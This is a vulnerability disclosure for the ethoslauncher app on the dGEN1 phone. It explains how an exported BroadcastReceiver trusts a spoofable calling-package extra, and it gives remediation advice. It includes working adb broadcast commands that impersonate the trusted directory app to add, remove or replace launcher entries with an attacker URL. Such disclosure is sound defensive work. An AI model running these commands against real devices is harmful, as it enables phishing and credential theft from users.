A broken authorization vulnerability exists in the Android launcher application org.ethosmobile.ethoslauncher on the Freedom Factory dGEN1 phone. An exported BroadcastReceiver relies on a caller-supplied intent extra to determine whether a request originates from a trusted application.
Because this trust decision is based solely on unvalidated intent data, any local application can spoof the trusted package identity and modify launcher “FakeApp” entries.
As a result, unauthorized applications can silently add, remove, or replace launcher entries, enabling phishing and user deception.
- Package:
org.ethosmobile.ethoslauncher - Component:
FakeAppReceiver(exported BroadcastReceiver)
<receiver
android:name="org.ethosmobile.ethoslauncher.FakeAppReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="org.ethosmobile.ethoslauncher.ADD_FAKE_APP_BACKGROUND"/>
<action android:name="org.ethosmobile.ethoslauncher.REMOVE_FAKE_APP_BACKGROUND"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>The DGEN1 launcher allows users to install decentralized applications ("dapps") from the dGEN App Directory. These applications appear as native launcher apps but are internally URL-based entries ("FakeApps") opened via a PWA emulator.
FakeAppReceiver is intended to handle background requests from the
trusted directory application (org.ethereumphone.dappstoreapp). The
receiver attempts to validate requests using an intent extra:
// FakeAppDbHelper
public static final String CALLER_PACKAGE = "org.ethereumphone.dappstoreapp";
// FakeAppReceiver
String stringExtra = intent.getStringExtra(FakeAppService.EXTRA_CALLING_PACKAGE);
String title = intent.getStringExtra("title");
String url = intent.getStringExtra("url");
if (!Intrinsics.areEqual(stringExtra, FakeAppDbHelper.CALLER_PACKAGE)
|| title == null
|| url == null) {
Log.e(TAG, "Invalid request - missing data or unauthorized caller");
return;
}However:
- The
callingPackagevalue is fully controlled by the sender. - No validation is performed using
Binder.getCallingUid(). - No signature-level permission is enforced.
- No permission is declared on the exported receiver.
Because authorization relies entirely on a caller-supplied string, any unprivileged application can spoof:
org.ethereumphone.dappstoreapp
and successfully invoke privileged FakeApp management actions.
adb shell am broadcast \
-a org.ethosmobile.ethoslauncher.ADD_FAKE_APP_BACKGROUND \
--es calling_package org.ethereumphone.dappstoreapp \
--es title "Wallet" \
--es url "https://kurolytes.co"adb shell am broadcast \
-a org.ethosmobile.ethoslauncher.REMOVE_FAKE_APP_BACKGROUND \
--es calling_package org.ethereumphone.dappstoreapp \
--es title "OpenSea" \
--es url "https://opensea.io"
adb shell am broadcast \
-a org.ethosmobile.ethoslauncher.ADD_FAKE_APP_BACKGROUND \
--es calling_package org.ethereumphone.dappstoreapp \
--es title "OpenSea" \
--es url "https://kurolytes.co"Any third-party application can send these broadcasts without special permissions.
Because FakeApps are visually indistinguishable from legitimate launcher apps, users cannot easily detect malicious replacements.
A malicious local application can:
- Add arbitrary FakeApp launcher entries
- Remove legitimate FakeApps
- Replace legitimate FakeApps with attacker-controlled URLs
- Impersonate trusted decentralized applications
This may result in:
- Phishing
- User deception
- Credential harvesting
- Denial of access to legitimate dapps
- Local — requires installation of a malicious application on the same device
- No special Android permissions required
- Broken authorization logic
- Reliance on untrusted intent extras for security decisions
- Exported BroadcastReceiver without enforced permission protection
- Failure to validate caller identity using UID or signature checks
- Avoid relying on intent extras for authorization
- Validate callers using
Binder.getCallingUid()and package manager verification - Enforce signature-level permissions on the receiver
- Mark the receiver
android:exported="false"if external access is unnecessary - Restrict FakeApp management APIs to internal components only
Discovered by Olaitan Ayoola (Kuro_Lytes), Maxhed LLC